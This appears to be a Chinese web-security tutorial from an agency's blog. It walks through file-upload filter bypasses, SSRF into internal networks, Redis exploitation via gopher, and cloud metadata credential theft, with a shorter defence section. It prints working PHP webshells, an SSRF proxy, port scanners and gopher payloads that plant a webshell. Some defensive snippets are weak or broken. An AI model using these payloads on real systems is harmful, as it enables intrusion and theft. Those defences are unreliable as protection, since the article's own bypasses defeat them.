ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

Web安全攻防:文件上传漏洞与SSRF内网渗透实战

Web安全攻防:文件上传漏洞与SSRF内网渗透实战

1. 漏洞链攻击路径解析

这个典型的Web安全攻击链展示了从表面漏洞到内网渗透的完整路径。我们先从最基础的任意文件上传漏洞入手,逐步分析如何通过层层绕过最终实现内网突破。

任意文件上传漏洞通常出现在缺乏严格校验的文件上传接口中,攻击者通过精心构造的文件名、文件头或文件内容绕过前端校验,将恶意文件上传至服务器。而SSRF(服务端请求伪造)则允许攻击者通过服务器发起内部请求,探测或攻击内网服务。

1.1 文件上传Bypass技术详解

现代Web应用通常会采用多种防御措施来防止任意文件上传,以下是常见的绕过方式:

  • 文件类型校验绕过:

    1. 修改Content-Type:将application/php改为image/jpeg
    2. 添加GIF文件头:在PHP文件前添加GIF89a标记
    3. 双扩展名攻击:shell.php.jpg
  • 前端校验绕过:

    <!-- 修改前端JS校验逻辑 --> <form onsubmit="return true"> <!-- 或直接使用Burp Suite拦截修改请求 -->
  • 解析漏洞利用:

    • Apache解析漏洞:shell.php.xxx
    • IIS6.0分号漏洞:shell.asp;.jpg
    • Nginx畸形路径:/uploadfiles/shell.jpg/../shell.php

实战经验:遇到黑名单过滤时,尝试使用冷门扩展名如.phtml、.phps、.inc等。我曾在一个项目中通过.php5扩展名成功绕过过滤。

1.2 从文件上传到SSRF的跳板搭建

获得文件上传权限后,通常会部署以下类型的攻击载荷:

  1. 基础WebShell:

    <?php system($_GET['cmd']);?>
  2. SSRF代理脚本:

    <?php $url = $_GET['url']; echo file_get_contents($url); ?>
  3. 高级端口扫描器:

    <?php $ip = $_GET['ip']; $ports = explode(',', $_GET['ports']); foreach($ports as $port) { $fp = @fsockopen($ip, $port, $errno, $errstr, 0.5); if($fp) echo "$port open\n"; } ?>

在实际渗透测试中,我通常会先上传一个简单的文件包含型WebShell,再通过它上传更复杂的SSRF工具包。这种分阶段的方式可以避免一次性上传过大文件引起安全设备报警。

2. SSRF内网渗透实战

2.1 内网探测技术

通过SSRF进行内网探测时,需要关注以下几个关键点:

  • 基础信息收集:

    # 获取服务器基本信息 curl http://localhost/server-info # 读取环境变量 curl http://localhost/cgi-bin/env.cgi
  • 端口扫描策略:

    1. 先扫描常见服务端口(80, 443, 22, 3306, 6379)
    2. 再扫描管理后台端口(8080, 8443, 9000)
    3. 最后扫描内网特殊服务(389, 445, 5985)
  • 高效扫描技巧:

    <?php $ports = [80,443,22,3306,6379]; $results = []; foreach($ports as $port) { $start = microtime(true); $fp = @fsockopen('127.0.0.1', $port, $errno, $errstr, 1); $latency = round((microtime(true)-$start)*1000); if($fp) { fclose($fp); $results[$port] = "OPEN ($latency ms)"; } else { $results[$port] = "CLOSED"; } } print_r($results); ?>

2.2 协议利用与绕过技巧

不同协议在内网渗透中有不同用途:

协议用途示例Payload
http访问Web服务http://192.168.1.1/admin
file读取本地文件file:///etc/passwd
dict操作Redis等服务dict://127.0.0.1:6379/info
gopher发送任意TCP数据包gopher://127.0.0.1:6379/_...
ftp文件传输或爆破ftp://user:pass@192.168.1.1

IP绕过技巧:

  • 十进制IP:http://2130706433=127.0.0.1
  • 八进制IP:http://0177.0.0.1=127.0.0.1
  • 域名指向:http://localtest.me→127.0.0.1

我曾在一个严格过滤IP的项目中,通过http://0x7f000001这种十六进制表示法成功绕过限制访问到内网Redis服务。

2.3 内网服务攻击案例

发现内网Redis服务后的典型攻击流程:

  1. 信息收集:

    curl 'dict://127.0.0.1:6379/info'
  2. 未授权访问利用:

    # 写入SSH公钥 curl 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$...' # 定时任务反弹Shell curl 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a...'
  3. 权限维持:

    # 写入WebShell curl 'gopher://127.0.0.1:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$31%0d%0a%3C?php%20eval($_GET[cmd])?%3E%0d%0a*1%0d%0a$4%0d%0asave%0d%0a'

重要提示:在内网渗透测试中,对Redis等服务的操作要格外小心,flushall等命令可能导致业务数据丢失。建议先在测试环境验证payload。

3. 防御与检测方案

3.1 文件上传漏洞防护

  • 白名单校验:

    $allowed = ['jpg', 'png', 'gif']; $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if(!in_array($ext, $allowed)) die('Invalid file type');
  • 内容检测:

    1. 使用getimagesize()验证图片真实性
    2. 对上传文件进行病毒扫描
    3. 重命名上传文件(避免用户控制文件名)
  • 存储安全:

    1. 上传目录设置为不可执行
    2. 使用CDN分发静态文件
    3. 定期审计上传目录

3.2 SSRF防护策略

  • 输入验证:

    $url = $_GET['url']; $parsed = parse_url($url); if(in_array($parsed['host'], ['localhost', '127.0.0.1'])) { die('Internal service access denied'); }
  • 网络层防护:

    1. 限制服务器出站连接(仅允许访问必要的外部服务)
    2. 使用网络隔离(将不同服务部署在不同VLAN)
    3. 禁用不必要的协议处理(如gopher、dict)
  • 应用层防护:

    1. 使用DNS缓存防止DNS重绑定
    2. 实施请求目标白名单
    3. 记录和监控异常请求模式

在一次企业级渗透测试中,我们发现即使应用层做了完善防护,但服务器网络配置不当(允许任意出站连接)导致SSRF仍然可以攻击内网其他系统。这提醒我们防御需要多层次配合。

4. 高级绕过与新型攻击手法

4.1 DNS重绑定攻击

DNS重绑定攻击流程:

  1. 攻击者控制一个域名(如evil.com),设置TTL为0
  2. 第一次解析返回合法IP(如1.1.1.1)
  3. 服务器校验通过后,立即修改DNS记录指向内网IP(如192.168.1.1)
  4. 服务器实际请求时访问到内网资源

防御方案:

// 使用DNS缓存 $ip = gethostbyname(parse_url($url, PHP_URL_HOST)); $_SESSION['dns_cache'][$host] = $ip;

4.2 云环境元数据服务攻击

在AWS、阿里云等环境中,通过访问元数据API可能获取敏感信息:

# AWS元数据 curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # 阿里云元数据 curl http://100.100.100.200/latest/meta-data/ram/security-credentials/

防护建议:

  1. 禁用实例元数据服务
  2. 使用最新版云代理
  3. 配置严格的网络策略

4.3 新型协议利用

  • HTTP/2走私:利用协议解析差异绕过防护
  • QUIC协议:基于UDP的HTTP/3可能绕过传统防护
  • WebSocket:通过升级协议建立持久连接

在一次红队演练中,我们通过WebSocket协议成功绕过了传统的WAF防护,建立了到内网的持久化通道。这提醒我们安全防护需要跟上协议发展。

返回列表